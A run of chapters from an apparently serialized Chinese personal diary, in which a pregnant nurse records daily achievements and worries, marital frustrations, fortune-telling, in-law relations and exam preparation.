    这种悲伤的事情不知道怎么样才能宣泄出这份情绪下来。我长到那么大，我终于可以自己玩游戏了，想画画就画画，想捏泥巴就捏泥巴，可是我却还是需要藏起来，不然人家会认为我有病！我就像假装正常的不正常的人一样。
    记得一个人写的文章，文章里面有一个出轨的人，每个人都在指责他出轨了。而他说了一段往事，他说小时候他学习很好，家里人也从来不给他玩具玩，经常说自己家的孩子是那种别人家的孩子，读书很好，可是他其实很喜欢玩玩具，有一天他就在自己的一个墙角，藏了一个玩具，只有在所有人都不知道的情况下，才敢偷偷拿出来看看，享受这短暂的幸福，而他对于他的出轨的对象也是一样的，明面上的很重要，可是心里喜欢的又是求而不得的，只能藏起来的那种。我看完之后，突然明白了什么，又好像什么都不懂。以前我好想玩东西，可是也从来不给自己买。后来看了那篇文章之后，我就舍得给我买玩具了，哪怕我现在已经很不合适了。很不适合玩泥巴，画画，可是我想做一点点让自己开心的事。反正我能对我自己负责了。我没有用爸爸妈妈的钱。我好像也不记得我小时候想要的玩具是什么了，可能没有想要过吧！也可能有，可是这并不是我的，所以没有办法。现在长大了，就买一点点自己喜欢的东西吧！开心一点，选择经济实惠的玩具，如果我有能力了，再买更高大上的玩具好好玩。

 第85章

    成功日记，
    一，我写了一篇文章。三千字，还不错，虽然很扯但是真的是自己的真实想法，然后也回忆起了一些很重要的东西。也许我会变得更开朗一点吧！
    二，我做了我该做的事，很好。
    三我发现了我对于新房子的愿望减弱了，我需要加强这个愿望。
    四，我有了想法，正处于很妥善处理的阶段。
    五我今天坚持了一天，很好。
    六我买了盘子。明天去拿。
    七我最近写了不少的单词，有的记住了，很棒。写了好多页纸呢！也抄了几章节的书。希望我能够有所收获。
    八，吃了一片芝麻片。本来还想吃核桃的，可是我没有夹核桃的工具那个搬房子了不记得放哪里了，我需要再买一个夹子。
    九，我看了一些心理文章，有所收获。
    十我写完了成功日记，挺好的。我发现我今天用了几个月的时间写了十九万字了，我好想写完一百万字啊！可是我这个目标有点遥远。
    难受的日记
    第一我还没有买我的核桃夹子，我已经盼望自己执行很久了。
    第二我发现买房是一个遥遥无期的事情。我缺乏了实现愿望的自信心。
    第三，未来的开支会很多，有学习的，有继续学习的，总之不少的事情，我需要去安排好时间，可是我又缺乏自信心，其他医院我又不敢去我想要去。把继续教育的事情搞好来。然后安心的养胎。
    第四，我抄书学习的方式慢，可是其他的方式我也坚持不了多久，有没有什么办法可以提升我面对学习的恒心，持之以恒才有用吧！捷径对我没有什么用处，因为我记忆力时好时不好的，不稳定，只有恒心才能让我有安全感。
    第五。衣服又是一堆，好像处理，又不想动。
    第六很多悲伤难过的事，我还没有哭出来，我应该宣泄自己的情绪，让自己的灵魂身心健康。
    第七，我好想玩啊！我要买玩具。
    第八我想睡觉，可是白天睡了晚上睡不着。可是我想睡觉。
    第九，很困
    第十困。

 第86章

    今天早上起的很早。
    然后看了一会儿英语书，做了一会儿学习强国。
    然后我就在测我的八字命理。
    其实我不会算。只是突然认为自己是一个没有父母缘分和没有子女缘分的人。突然就想去看一下为什么会这样子认为。
    然后就百度了很多信息。看不太懂。感觉自己的命运挺坎坷的。性格孤僻，比较自私，多疑，有点克夫的倾向容易影响丈夫的健康运还有事业运。命运居然这么差，然后老了以后会过得很惨。对小孩子不好，还容易流产之类的。看了我就睡了一觉。
    我醒来后，看着我老公有点子难过耶。我只知道我潜意识很糟糕，可是没有想到会克夫。他确实结婚没多久就腰椎间盘突出，不过他说很久以前就特别的腰酸，因为一直坐着看电脑画设计图。没动过。然后我就想到了这个。好像从科学上来说，也不关我什么事啊！这个职业本来就容易腰椎间盘突出。可是事业运也确实。他之前的单位一万左右一个月，累也确实很累。然后我怀孕了，他就陪我了，会到了小县城，他工资就缩水了很多。可是这个不是我要求的呀！是老公自己要求的。他说我怀孕了，他在我身边他能更好的照顾我。好像克夫运，是这么回事，又好像不是这么一回事。哎呀算了，不纠结了。
    就算没有生辰八字我也会认为自己很差劲。因为我没有选择让我自己开心的方式生活。然后做什么事情都没有什么耐心，确实一般也就耐心到一半而已。然后时不时心情不太好。然后导致自己做什么都没有成就感。
    我的惰性很强。有的时候，我会感觉自己很没用，很想重新来过一次。可是感觉来过几次都是一样的结局，因为这是心灵里面的原因，不是因为环境。在科学的那一面，相信心灵的原因，我会感觉自己很需要长进。可是我不知道我的养分是什么？也很想知道我该怎么获取我心灵的养分？途径是什么？
    不迁怒不贰过。看到这句话的时候，感觉说的就是我的弱点。我很容易把自己犯的错误再一次的犯一遍，或者把自己对于这件事的错误看法被人指出来了之后，就宣泄怒火到别人身上。
    这样子的我自己让我感觉我很无力感。我的内心里很想变得好一点。很好。可是现实里面就是我并不是一直都很好的。我也有很多不明白的东西，不知道的东西，不理解的无知的东西。有错误很正常。改正它就好了，可是现实情况里的自己，是不认为自己错了一样，或者应该说是认为自己错了，可是有了其他的复杂的感觉，感觉自己很羞愧自己学习的少，或者其他的情绪，总之，就会让自己为了面子，把怒火转移到其他人身上，来掩饰自己错了这个事实，给自己带来的难受情绪。
    然后还有就是这件事做错了，思考了一遍，知道了自己错在了那里，或者别人指出来了我错在了那里，可是我仍然会错第二遍，为什么我会错第二遍。第一种原因，我第一遍的时候没有反思清楚自己错在了哪里。第二种原因，其实我内心里认为我没有错，有一种抵触情绪。然后就是一边听话一边再次失误。可是这样子让我很难受。因为失误带来了很多的很多的难受的感觉。
    可是我该怎么调理我的心情呢？
    今天看到了一些事情。有了一些想法。有的时候我会认为长辈的话，很不好听。有的时候感觉自己在曲解别人的感受。有的时候又感觉不是这样子。总之我今天突然想通了，别人的话语传递出来我首先感觉到的是一种负能量，感觉是嘲笑或者其他，为什么我不会认为同情也会有其他的表现形式呢？一个人有同情心，他可以有各种各样的表现形式，不一定就是表达悲伤之类的，因为痛的又不是自己，我怎么知道你痛不痛，只是把这件事说出来而已。也许并没有什么情绪，可是听到我耳朵里，我会认为说的人可能在幸灾乐祸，那么我需要更客观的去看待这样子的事情。把别人的言语去除情绪去好好看待。不带评价的感觉。因为人家有人家的事情，这个世界也是多种多样的，我面对的世界观和别人的世界观是不一样的。我认为的善良和别人认为的善良也是不一样的。那么也就客观看待这个世界的问题。
    这样子也挺好的。
    能够用另一种眼光去看待问题。
    我今天在思考打孩子还是不打孩子的事。我认为还是能不打就不打吧！也许打的太重了，会有心理阴影。然后宝宝长大了还恨我，那就算了。万一以后她被我打出了心理阴影，然后变得唯唯诺诺的感觉也不行。那就能不打就不打。
    想起了弟弟妹妹，为他们点个蜡。我挺抱歉的。有我这样子的姐姐也确实很糟糕呢！
    我的状态并没有变得完全好起来。我的样子在我心里还是个很丑的样子。慢慢的我自己会在我自己的眼睛里看到美好的一面吧！但愿如此。
    我以前每次都会听到心里的声音在对我说，我是一个过得很好的人。然后我的内心里就会非常的不安，感觉自己做错了什么一样。今天看了一下自己的生辰八字，发现自己的八字挺惨的，也就像霉气冲天的那种。可又一般般，感觉自己心里的石头放下了一样。可是我又在思考怎么样才能让自己的情况好转呢？
    为什么我会认为自己好一点，过得好，会有负罪感。为什么我会很多疑？为什么我会有自私的情绪？为什么？这些都是我人生里需要明白的东西。但愿我能明白吧！

 第87章

    今天，早上，我妈妈很早就送了排骨，鸡蛋猪肚给我。然后家婆早上就做好了猪肚汤给我吃。挺好喝的。晚上吃了老公姑姑家送来的鸡肉，家婆做的墨鱼鸡汤挺好喝的。记录一下。
    今天家公买了老干妈，挺好喝的。
    昨天晚上学了一些公务员面试的内容。有理解了一点点内容。讲的是，在单位里面自己给领导提意见。介绍自己很好的点子，但是领导没有采纳，你会怎么办？以前嘛我没有碰到这个问题的时候，碰到了领导不采纳我的意见与建议，我一般没有什么感觉。因为说不说是我的事，听不听是你的事。就挺平和的看待问题。因为我们角度不一样，不采纳肯定有不采纳的理由。这个问题老师给的答案更好。首先作为一个员工你看到了问题就需要把问题很好的陈述出来，想尽自己的办法汇报给领导，但是领导有领导的安排。他们和我们层次不一样。比我们的层面更高，他们需要考虑的东西也很多，所以可能没有采纳你的想法。我们需要理解，不过在理解的基础上，仍然需要保持对工作的积极热爱。尽自己的能力把自己能想到的解决问题的方式汇报给领导。然后后面的我听不懂了，需要多看几遍。
    最近天气很热，家公特别的心烦，大家也是吃饭不香了。不过不知道有什么好办法可以解决这个难题。家公低血压，家婆高血压菜变得更清淡了一点，不过家公喜欢吃咸的。有点子难办。不知道怎么办？该想什么办法呢？
    我有点想用杨梅炒饭吃。不过我只是一种想象，但是自己并没有尝试过。因为我想夏天酸酸甜甜的会更好一点。不过我自己也不知道会不会难吃啊？自己吃倒是无所谓，我经常这样子做一些奇奇怪怪的料理，反正自己吃，自己负责。有的时候很难吃，有的时候更好吃。可是在一个大家庭里面，如果做这样子的事，就有点奇怪了，而且量也会很多，会造成很多的的浪费。很难办。
    而且我也不确定好不好吃。只是中华小当家那里有一道菜叫做乌梅炒饭。可是乌梅好像我们这边没有吧？也许我需要去找一下。尝试一下吧！
    真希望家婆的情况会好一点。我有点怀疑家婆是不是更年期到了，可是我又不敢讲。家婆做饭还好吃。
    今天的题目我刷完了，我需要刷第二遍，明天需要把考试的内容考完，然后听说继续教育的学分需要做题了，我也需要做准备了。

 第88章

    今天做的好的事情。
    第一我虽然没有达成一天做八百题的小目标，但是我做了285还行。
    第二今天拿到了快递，还不错，我看懂了说明书。理解到了一些意思。
    第三个我今天抽到了奖，一盒一百抽的湿巾，虽然不是我想要的奶瓶，但是也很不错。因为奶瓶，过段时间还可以领。然后还抽到了三盒泡芙。不知道是什么样子的，期待中。很开心我能勇敢的请人家帮我点链接。本来不想转发的。可是极度的想要，就领到了开心。
    第四点及时的宣泄了自己的情绪，很开心。事情的真实性其实我也不清楚，但是我的心情得到了缓解。这就已经很好了。
    第五点有了很清晰的想法。做事情变得很顺利了。很多很纠结的事，只要不违背本心，就会变得心理很强大很轻松的应对。
    第六点学习了一点点人际沟通的内容，这次听懂了两个题。一个是两个领导为了你的培训事情争吵，老师给的思路居然是躲的越远越好，因为我比领导小，不可能去指责人家。哈哈哈有点意思第二个是你做事很积极，然后领导和其他同事都很讨厌你。老师的思路是积极是可以肯定的，但是仍然需要反思自己有没有越权做事情，帮倒忙的那种，出了事情让别人擦屁股。然后自己认为自己做的好，这种情况需要向领导汇报承认自己的问题。做事情不能越权。这个点我还需要再听几遍。
    第七点我回应了新同事的回答，虽然有点磕磕巴巴，但是我仍然是认真负责的讲完了我需要讲的事，很棒，明天会更好吧！
    第八点我写完了一篇小文章，有点短，不过已经很不错了。很好。
    第九点学到了情绪潜意识和脑干有关的内容。情绪潜意识脑干都不是我们自己能够控制的。所以很多情绪上的问题是不可以控制的。当面对坏情绪时，可以多喝热水深呼吸缓解状态。多喝热水是很有用的。有点子惊讶。
    第十点。我今天发现自己写了二十万字了，真的不可思议。很感谢一直记录的自己，达成了五分之一的小目标呢！被我自己惊呆了！继续努力！
    第十一点我写完了今天的十个点，很棒！

 第89章

    今天有点烦躁啊！
    知道自己的工资降了，其实在上个月左右就知道，我能接受度的，可是到了发工资的时候，我又不能接受了。
    可是工资高的话，老公会对我有意见，因为他的工资比我低的话，他会很难受，然后胡思乱想，认为我外面有人，或者他有绿帽子。搞得我特别的累。心累和身累。所以工资低也是有好处，就是可以让我老公那个人脆弱的心灵得到慰藉。然后他就可以心安理得的玩游戏了。
    我有点抱怨他。因为一开始相亲的时候，他们说过我们虽然一开始会很苦，可是通过两个人的努力以后可以变得更好的，可是事实上并没有看到努力的样子。而我自己也变得懒散了。不想工作，不想做事。我其实不喜欢现在的自己这个状态。我想要好好的工作，好好的上班。可是不知道为什么我变了。我讨厌变化成这个样子的自己。这样子让我没有安全感。我老公不可能给我安全感。他说过我怀孕了他就不在我面前抽烟的，可是事实呢？没有做到。烟还是照样抽。他说的欠款是八万，他爸爸讲的，可是实际上十一万五千。我现在才知道具体的数字，可能这个还是假的。总之让我感觉特别的烦躁。失望。没有信任感了。我一开始就知道他工资低一点，我不介意，他有欠款我不介意，可是我好讨厌他说话不算数，也好讨厌他的假特别的少，几乎半年没有回过娘家了。然后建议他考公务员，他没有上心的，就在一个劲的打游戏，打游戏完了就看抖音一两点才睡。如果他是晚班工作者我也就认了，可是他是白班，而且很晚才下班，等于我们吃完了饭，洗完了澡，他就一直打游戏打很晚。然后就再看抖音很晚，然后就休息了，夫妻两个人在一起好像没有什么话要说一样。这个日子过一天也就算了，十天半个月都这个样子。我就像身边嫁了个鬼一样，没意思。他只是会接送我上下班的工具人。没劲。
    我说了吃鸡蛋会很烦，很想哭，早上的时候叫他帮我吃掉，他剩了一些给我，那就没办法，真的是一晚上心情都不好。
    嫁人并没有资源使我变得更好。满足不了我对学习的进取心。满足不了上进心，而且我变得对工作懒惰了，松懈了。还把自己的希望寄托在一个男人的身上，可是对方并不能给我足够的安全感。我老公给我的安全感，还不如刷题。真的没劲。
    还有一个异性朋友。对方很喜欢他，为什么他不去向她求婚呢？烦躁。也满足了他的心理需求。
    吵架了，就和我讨论对错。我需要他和我讨论对于错吗？讨论对于错这是老公做的事吗？五行八字不合适。烦躁，没有算好。这是我自己的疏忽，漏掉了这个点。
    好烦呀。不开心。他喜欢吃甜的粥，我喜欢吃咸的粥，他喜欢特别的咸的菜，我喜欢清淡的咸味的菜。我能接受香菜，他不能接受香菜，我喜欢蘑菇，他不喜欢蘑菇。
    我们可能还有很多不合适的地方。算了，怎么趋利避害，都是人算不如天算。
    今天几乎一整天都在抱怨，抱怨妈妈，如果我妈妈愿意去投入我的学习，那么我的成就也就不是这个样子了，也许也就不会过得那么苦逼了。可是我上辈子没有给我妈充钱，我妈妈没钱，可能我还欠她的，搞得在最关键的时刻还出问题，好累啊！终于过去了那个坎，可是我也失去了很多的心灵里的能量。抱怨自己，为什么突然会变得没有斗志，很烦啊！不知道人生的意义对我来说是什么？更多的苦还是自己认知的问题，好累啊！
    我能和我老公过一辈子吗？不知道，我今天不太开心。我一直都是记仇的，我忘记不了自己的不开心。忘记了也没有用啊！遗忘并不能给我成长。
    本来我最近很期待他能和我互动的，现在宝宝好可爱，会胎动了，结果他玩游戏，我就那样子一点点的失望，不开心。游戏比老婆重要，我又没有禁止他玩游戏，只是不喜欢他一直玩，也不去理人家，结完了婚就像躺一个床板上的室友一样。好没有意思啊！
    对生活越充满期待我的内心就越苦逼。因为我既不能满足我对人生美好想象，又没有办法去执行那些让我开心的事。总之来说是我自己心灵一般吧！我也说不通我老公，他认为我很老实，老实很好欺负的样子吗？我也不知道这是什么意思。我把工资告诉他，是信任他，把他当我未来的重要的可以贴后背的人。完了他就和家婆说我很老实。他和家公家婆是一家人，和他弟弟也是一家人，有很多的细节，我需要什么，直接和他讲，他还是忘记了，我需要提醒很多遍。真的好累啊！
    他为什么不去娶别人？还好算命的说我三十五婚姻会出问题。但愿我老公挣大钱，赶紧把我甩了。结婚真的是累死了。
    还是单身狗的生活好啊！没有结婚的时候会对婚姻充满美好的想象，结了婚就知道当老婆的日子真苦逼。我结婚还没有满一年呢！
    说话需要小心翼翼，不然会讲我不孝顺，顶撞长辈。真的是累死了，听长辈说话，就更累，都是说哪里哪里死人的事，要么车祸要么火灾，要么社会上各种不爽的事，听了负能量满满。没意思。
    我知道人生不可能活在真空状态，永远需要与别人接触，可是真的很没有劲。人家认为我很无趣，其实我看别人也很无趣，真的还不如自己独处，可以静静的看动漫，我好久没有看动漫开心的笑了，真的太苦逼了。也许我在别人的眼睛里很差吧！我真的不想去感觉那么多东西，累。脑子也不好使的感觉。

 第90章

    我的面试过了，过几天需要去参加体检，其实还是有很多的忐忑不安。
    这种心情非常的激动。可是也不认为自己就是很优秀的人。因为我的内心其实挺柔弱的。很羡慕其他人的样子。不管怎么样，总感觉别人就是最好的，而我即使到了某一个高度，我也会认为自己在尘埃里一样渺小低落。这是我的心理状态。不知道这是原生家庭带来的还是我的本质本来就是如此。
    最近在思考和妈妈的关系。其实妈妈就是我自己而已。很多时候面对很多事情有很多其他的方式了可是我并没有选择对自己最好的那个。因为我的潜意识里认为我配不上最好的吧！
    其实妈妈过的不容易。自从怀孕了就有这样子的想法。可是我能够生下来，说明妈妈也也用了很多精力。很久以前，我特别的希望妈妈没有生下我来，因为我总感觉我并没有带给她很幸福的生活。
    而且自己也一团糟的样子。
    我很想像超能力女儿里那个小童一样，好想拥有很强大的能力，可以挣很多很多的钱，给她带来更好的生活。可是我并没有做到，而且也经常因为很多的负能量事情和她闹脾气，有的时候对妈妈充满了怨言。而且是忍不住的那种，这样子的我让我感觉自己糟糕透了。
    所幸我迈过了这个坎，可是未来还有很多的坎需要去努力，需要去加油！
    这次笔试面试成功了。离不开我婆家的鼎力相助。老公非常努力的骑车送我去学习，家婆家公也是很努力，然后自己早上五六点起来念书，打扰他们休息。晚上的时候又很晚回。总之大家都用了好多的精力。我对此感觉很温暖。尽管我们仍然比较贫困的样子。
    有很多的时候，我在想，如果我没有嫁给我老公会是什么样子。嫁给另一个人又会是什么样子？是的，老公很好，可是我仍然心里会有一点点不满意，他对我的念想也是如此。可是我想我可能也遇不到那么合适的人了吧！毕竟我的内心是比较自卑的，敏感的，内心里充满了内耗状态，碰到了比我更优秀的伴侣，我可能会更加的自卑，焦虑，难受。而我老公的样子刚刚好，他就是一只天然沙雕。虽然没有上进心，喜欢玩游戏，但是他对家人很好，时不时会逗我开心，不嫌弃我会放屁，也不嫌弃我有一双臭脚，会给我的脚丫子涂药，会洗碗。上下班都会接送我。我认为已经很好了。在这个世界上真的不敢奢望太多。
    算命的说我命不算很好。很久以前过的很辛苦，可能有上辈子或者上上辈子过的确实很不好，所以他说这些话的时候我都在极力的反驳。可是等我冷静了很多年，再去回忆那一段的时候，发现他真的说中了，我确实曾经过的很不好，我也确实很不快乐，心里不开心很久了，只是自己没有去发现而已。
    所以他给我的建议是这一生都需要好好的努力用功。积极生活。上辈子这辈子欠下来的人情都需要好好的还回去。
    这让我受益匪浅。希望我这一生都会积极努力的生活，把欠下来的都还清吧！
    也许这是迷信，可是能够迷途中的我有一个往好的方向走的念想也是好的吧！
    我的这一生还需要学会很多东西，比如放下自己的执念，放下自己的评判。就真样子吧！
    我最近的抵抗力很差。也有可能是真菌感染了，洗澡之前洗了袜子，所以我感染了，**炎，烦死了，痒死我了。过几天就需要去体检了。明天需要去看医生，好想去买一个洗袜子机器，好讨厌洗袜子。老是会搞得我需要花钱看病，要不是因为怕浪费，真想穿一双扔一双。算了这也是想象而已。哪有那么富有。本质原因还是因为我自己身体抵抗力一般般，特别的容易感染的体质。自身菌群失调。无语了。为什么会我这样子的人呢？这就是我一直认为我活着没意义的原因。可是这样子的事也有好处，可以让我老公帮我的脚涂药，可以沟通我们之间的感情，不然躺床上，就两个人一起玩手机，有点像室友。
    真的，结婚了之后，发现婚姻生活和单身生活不同点就在于，以前一个人刷手机，现在两个人刷手机，在大家庭里，一家五口都在刷手机。刷自己喜欢的内容。工作之余就这样子了。还好吧！静静的刷手机也挺好的。
    今天还有几百道题没有做完，明天考理论考试，8月3号，考操作考试。现在的题目真难啊！这是考手术室的内容。很多东西都没有学过。综合医院的内容。真的到了考试的时候才知道自己学识很浅薄。这个世界的东西实在是复杂。学无止境，不过也得学，学会了以后才更好一点。以后需要学习的东西就更多了。
    今天才看到我羡慕的人，她也很晚下班。昨天凌晨才看到回复。我以为别的行业的人，都过着让我羡慕的朝九晚五有规律的生活，然后日子美滋滋的。只有自己这个护理行业，痛苦至极。后来发现妹妹的计算机专业，又要学习一大堆的c语言，和天书英语一样难上加难的代码。老公的室内设计，经常去跑工地，我和他一起看那个毛胚一样的房子，还有的是很凌乱的房子。才知道原来大家都过的不容易，不是我想象中的岁月静好。这世界上真的没有什么轻松的行业。选择了就踏踏实实干吧！每个人都是负重前行。所以也不要去为难谁。
    我有很多很羡慕的人，我认为她们过的很好，可以把手头上的事情做好。羡慕她们有能力，可以创造很美好的事情。像绣十字绣，画画，做娃娃，手工皂，可以把生活过的美好一点。这是我很羡慕的。我还很羡慕做滴胶的。很精美的东西从手里诞生的感觉是一件很美好的事。以前很喜欢阿曼达。喜欢她做的饭菜，有的时候挑了一个很简单的做一下很有成就感，一直在羡慕着她，有大大的厨房。也一直在找原因，给自己找借口，看我做不成这个事，我没有大大的厨房，没有厨具等等一系列理由。现在我喜欢的人多了，好多我喜欢的人，我发现她们也遇到了很多很多的困难，可是她们想了很多方法解决了这些困难。实现了自己的愿望。这是我羡慕的。摄影没有摄影机可以用手机，没有大大的房子，没有那么多道具还能ps上去，总之五花八门让我看到了这个世界不一样的角度。我仍然喜欢我所喜欢的人。慢慢的找到了很多很多的东西，慢慢的变得勇敢，去行动起来。去执行自己想要做的事。
    我知道我很懒惰，因为我很想完美一点，可是不行动永远也没有办法达到状态。希望我能够行动起来吧！变得自信起来。去执行了才可能发现其实事情并没有我想象的那么难。我也可以做的美好一点。就像我捏的娃娃一样，造型很独特，也很可爱呀。
    1今天做完了二十道题，学会了一点点内容，很棒。继续加油吧！
    2今天写了2440个字。虽然内心里在评判我写的少像流水账。可是我达成了这个目标很棒。感谢今天的自己，行动了。
    3最近笔试面试过关了。虽然仍然认为自己不够好，但是我过关了笔试面试，说明我还是好的。感谢我的家人也感谢努力的我自己。
    4总感觉自己很幼稚，可是每个大人都是从小孩子变成的。我喜欢我对生活积极努力热爱的如孩子一样有趣的心灵。希望我能够学会执行，把自己内心想做的事都做一遍吧！
    5今天的作家助手，本来没有登录的，两个手机一起用，微信不想换号，不然记录会不见，然后就换了手机写，感觉自己的心里状态不能够像曾经那个手机那么流畅。脑子里很容易有负能量的感觉，可是写好了也还好吧！感谢积极达成这个愿望的自己。我想写很久了。
    6老公他也会分享他做的梦给我了，挺好的。虽然我并不明白，但是感觉很开心。
    7我很想每天都给自己写成功日记。每天记录自己最棒的事情，等到有一天我内心失落了，翻看我的文章，我会发现，原来我也出色过，在我的内心里，我也很棒很棒。这是一个很好的念头。希望我能够执行起来。
    8我看到了很多优秀的人，不再嫉妒于他们过的好的样子，而是欣赏她们努力生活的样子，这是一个很好的心态转变。希望我也会是一个努力生活的人。
    9可能内心里很烦躁，很想揍人，可是我最近忍住了那种暴躁的情绪，很棒很棒。我终于不会用暴击的方式宣泄自己的不满了。
    10我记录了自己的状态，挺好的。满意。
    我知道我并不是一个优秀的人，这种判断来自于我对我自己的综合分析。可是我向往优秀的人，想要成为优秀而强大的人。我在这条路上慢慢的前行。我不知道优秀的人他长什么样子，我想让我内心里平和安宁的就是那个样子吧！希望我会努力加油。

 第91章

    最近感觉自己脑壳不正常。一直在抱怨老公。还有家公，抱怨来抱怨去也就这么几句话。
    菜很咸，老公会玩游戏。我感觉很烦，理智上又不烦。
    因为虽然这几个点不能满足我，可是其他的他们又还好。
    可能是我有了攀比之心吧！我看到周围的人都买了房子，我们还没有房子就感觉很烦躁，乐从清中来，烦自贪中出。我最近的内心很贪心了吧！想要房子了。很想要一个比较好一点的家。其实通过自己的努力也可以慢慢的得到的，不用那么急。可是心里还是有点子急。就在一个劲的抱怨老公，可是也没有说出来。好烦躁，还是想一想怎么努力上班好，指望老公还是不指望了吧！其实日子过得也不算差，还好，至少我以前也是过了苦日子的，那些苦日子都熬过来了，现在这样子已经很好了。想一想以前住的发霉又漏水的房间，现在已经～是天堂级别了。慢慢来，日子会越来越好的。
    同事有同事的福分，我也有我的福分。不用去比较。因为每个人的缘分都不一样，这辈子希望我能多积点德，运气好一点，日子过得好一点，就可以了。也许人家过的好和幸福就是因为积德多呢？反正凡事往好的方面想，日子会过的好起来的。
    通过自己的努力得到自己想要的，别人也抢不走，那种感觉会比别人给的更好吧！更有安全感。
    不知道为什么今天在回忆自己的样子。我认为我自己应该是那种心里面很渴望什么，可是潜意识里又是那种认定了我渴望的那件东西或者那件事情一定是我得不到的。所以很努力的想要什么，又很努力的在拒绝什么，然后处于一种绝望的状态里，如果不发出声音，不去表达自己的想法，那么灵魂就会变得很黑，没有光泽的感觉，整个人都不好了。可是就算自己发出了自己的念头和想法，仍然得不到自己想要的事情或者事物，因为我很难受。这是我想起来的回忆起来的我的样子。我分析造成的原因，可能是我妈妈在童年的时候，没有给我买我喜欢的玩具吧！或者零食。在很小的时候，很严格的原因。估计是这样子，这只是一种假设和想象，其实不一定准确。可是如何去改变呢？我看一些心理老师的写的故事，其实这些东西是很有可能改变的，不可能永远停留在那个时间点，其实是我不想把我的内心停留在那个痛苦的时间里了。我该如何走出来。从内心里和那种很幼小的自己进行沟通呢？这种东西好难啊(ー_ー)!!。感觉这个自己就是一个宝宝一样，可是很绝望和失望的情绪。胆子小小的。不知道为什么突然会回忆起来这样子的自己。不知道什么原因。就像做事情很努力很努力的，就要达到成功的最好状态了，突然会放弃的感觉。认为自己配不上。或者其他的原因。这种感觉就像自己努力了很久很久，快要成了，又失落的感觉。不知道怎么形容。
    我只有在保持一种平和的状态里，我才能很平静的得到我想要的事情或者东西，一旦我对这件事物产生了欲望，我就得不到了。所以我适合清心寡欲，那样我才能拥有我想要的事物。
    就像买房一样。我不能产生买房的欲望，我需要保持心平气和，慢慢的，就可以了。
    以后的以后我会看见比我老公更优秀的人，他们可能很帅很有钱，家庭条件很好，每次和他们对比，可能我会很失落，可是选择了一种生活就好好把它过下去。把手里最烂的牌尽能力打好，就可以了。
    尽量去选择发现我老公的优点吧！他会带弟弟，他对他弟弟还好，可能他以后对宝宝也会很好，能换一手好尿裤，以后我生下宝宝了，可能会轻松一点。然后怀孕的时候，他不像别的同事的老公一样距离好远，怀孕了也不陪伴的那种。虽然他不能干什么，但是他至少在身边就很有安全感，我不用提心吊胆的想入非非，害怕对方在做什么事会瞒着我。会洗碗，有的时候我懒，他会帮忙洗碗。会和我互动。很自觉。缺点没有钱。我们最近缺钱。
    我又不是和钞票过日子的。虽然和钞票过日子其实也还好，可是没这个福分，就不要想那么多了。
    最近打算学习一些新内容，妇产科的题目想要刷一刷。今天早上爬起来刷了十题，好难啊！需要更加努力一点了。只有十五天的时间，希望乱做也学会一点是一点吧！
    今天终于把我的书拿过来了，看了一小会儿，哎呀啊呀不知道自己脑子进了多少内容，看了几页，我感觉自己回忆一下，好像也不记得自己看了什么。总之多看多练，十月份考专升本。希望我能够考到吧！
    应该是黄疸的内容，最记得到就是隐形黄疸。它的值和显性的相差一点点。还有就是一些分区，锁骨上窝胸骨上窝之类的。解剖学的位置。这个还是需要多想象一下才记得住。需要一种三维空间的想象力。
    然后感觉自己又有一种碰到了开心的事很想笑的感觉。其实那些事情不算让人很兴奋的那种，可是我会很兴奋的。就像今天下午复习的癔症还有谵妄一样，也有可能是因为我看书又代入了那种情况，所以记得很深。就是一种想到了很开心的事，一个人独自开心的感觉，可是要分享出来，好像这件事情又索然无味的样子。我今天想到的很开心的事是什么呢？我想到了昨天我一个小学同学发的微信消息，她说她老公喜提了一辆挖掘机，挖机一响黄金万两。以前看到那句话我认为没什么意思，昨天看到的时候，也认为没什么意思，今天回忆的时候，就感觉这句话好有意思，可是我写下来我又感觉这句话没有什么意思啊。我真的很复杂，看到我写的那么复杂的情绪我就好无语，而看到这种好无语的状态，我又特别的想笑。这又是一种无语的状态。我真的拥有了好奇怪的情绪。可能我是以旁边者的样子去看待我自己。所以我想要想笑吧！

 第92章

    心情不算很美妙。
    有的时候感觉有点这个事有点难以启齿。不过还是说出来比较好吧！
    最近不知道怎么回事，老是会梦见以前喜欢过的人。很神奇。那个时候也没有特别的喜欢他，感觉就是有好感，然后很开心，然后因为有好感，那个时候两个人都单身，也做过努力。但是就是没有缘分的感觉，总感觉少了什么一样，没有继续认识和交往的想法，就停留在一种我认识了这个人的范围。可是我的目的是寻找结婚对象的，然后我就放弃了这个人，认识其他人了，也认识了其他人，然后通过了交流，发现对方也不是自己适合的那种人，都很优秀，但少了点什么。我也不知道是什么，反正没谈个一星期就结束了，然后就通过相亲，认识了现在的老公。
    老公和我都比较穷。然后我和他相处没有什么压力，因为都是穷人，感觉很多东西都能够理解的那种，然后生活上相处也是很轻松的那种，我也能很好的看小说，他能愉快的玩游戏。反正我对他其实满意的。和我想象中的婚姻生活是非常像的。我找到了一个爱游戏的宅男。而且他性格还可以，我比较呆一点，他呢可以很好的解决人情世故之类的问题。虽然我们钱比较少，但是内心感觉还可以。
    最近不知道怎么回事？会想起那个人。而且又不是第一次喜欢的那个人。不是一般都是在回忆初恋的吗？初恋本来想写个小文章解决一下内心情绪的问题，然后就永远的想不起初恋来了。这种发财梦实现不了。现在就特别的诡异，不是第一个喜欢的人，也不是第二个喜欢的人。好奇怪。
    果然结婚很难，然后结婚一辈子也很难。不光需要守着躯体上对伴侣的忠诚，还需要守着在思想上对伴侣的忠诚。很难。
    分析一下我想起他的原因。第一他长的很白，我喜欢的颜值，很好好看，第二比较有气质。应该就这两个点了。毕竟我就是个比较肤浅的人，喜欢的类型大部分都是好看的帅的，其他的一律不管。对于人品之类的，我其实也没有很了解。除了工作没说过多少句话。不了解。我的情商也比较低。
    可是我结婚了，还怀孕了。理智上来说，我想起这样子的人不算很美妙，我不太想想起来。也没有什么好想的，我认为。
    可是这个人的影子时不时蹦哒在我的脑海里。老实说，我去分析这个人吧！他家境比较好，与我属实不是门当户对，和一个条件好一点的人认识是女孩子我都感觉很有负担，不要说男孩子了。更不要想找对象的事。这可能是我的一种自卑感，也有可能本质上是怕麻烦还有懒惰。因为我想家境好一点的人家，他们需要面对的人很多，需要记住很多人，然后也需要处理很多事情。才能在复杂的人际社会里保持平平稳稳的状态。大概的意思说人话就是，如果嫁到这种家庭，物质上shi不用发愁可是需要学习一大堆对我来说超纲的东西
